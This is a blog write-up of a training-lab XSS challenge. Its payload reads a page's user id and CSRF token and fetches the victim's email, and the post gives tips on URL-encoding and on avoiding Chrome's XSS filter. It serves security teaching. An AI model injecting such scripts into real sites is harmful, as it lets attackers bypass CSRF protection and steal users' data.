CSRF token stealing with XSS: JS for Pentesters task 17 write up

Nov 2, 2014 • jsp, javascript, xss, security-tube

writeup for task-17 of the JS for pentesters series by security-tube - CSRF token stealing

We have already seen several challenges already which we solved using XMLHttpRequest(). This is yet another challenge which can be solved with the same but the difference is that in order to the email address, we need to add something called csrf_token to url and only then our session is valid. csrf_tokens are generally used to protect the sessions and to prevent un-authorized entries. But if a site is vulnerable to XSS, csrf token protection can easily be bypassed as JavaScript can read csrf tokens. Here is a very simple example illustrating the same.

JS for Pentesters task 17

Our objective is to Find John’s Email Address using an XSS vulnerability on that page and Display the Email address in the div with id “result”. A condition to follow is that No Hardcoded values can be used - everything has to be figured out dynamically. For the ease, the token and uid has been saved in the HTML file itself so that we can hard code it to break the challenge but the Author has specifically mentioned that everything has to be figured out dynamically ! Let us see how the payload looks like:

    <script>
        var request = new XMLHttpRequest();    
        request.onreadystatechange = function() {
            if (request.readyState == 4 && request.status == 200) {
                document.getElementById("result").innerHTML = request.responseText;
            }
        };
        var uid = document.getElementsByTagName("p")[0].innerHTML;
        var csrf_token = document.getElementsByTagName("p")[1].innerHTML;
        uid = uid.split(":")[1];
        csrf_token = csrf_token.split(":")[1];
        request.open("GET", "/lab/webapp/jfp/17/email?uid=" + uid + "&csrf_token=" + csrf_token, true);
        request.send();
    </script>

So what have we done here basically is that we took the uid and csrt_token dynamically from the HTML page so that even if the token or uid changes in the future, the payload still works. Then we added the parameters to the URL and used it with an XMLHttpRequest() and we got back the email address as response.

split() is a JavaScript function that splits a string into 2 and return a list with 2 split elements. Since the uid and csrf was in the format id:token, we need to split it and take token value from it so that we can use it in making an XMLHttpRequest().

Note:

1) If you didn’t understand the payload properly, I strongly recommend you read the basics of XMLHttpRequest() first and then try again.

2) While playing with XSS challenges, it is always recommended to use Mozilla Firefox because Google chrome has inbuilt XSS stopper which will stop us from executing arbitrary JavaScript code even if the page is vulnerable to XSS. So its strongly recommended to use Firefox instead of chrome.

3) You have to URL encode the payload before the injection via the url parameter or else this will fail to work

We hope that you really liked this challenge. If there is anything you didn’t understand or wanted to get more clarity, please comment down and we are more than happy to help. Also, if you get a better way of solving the challenge, please share it with us and we are happy to learn from our readers too. Happy pentesting..

Anirudh Anand

Head of Product Security & DevSecOps at @CRED_club | Application Security ♥ | CTF lover - @teambi0s | Security Trainer - @7asecurity | certs - eWDP, OSCP, OSWE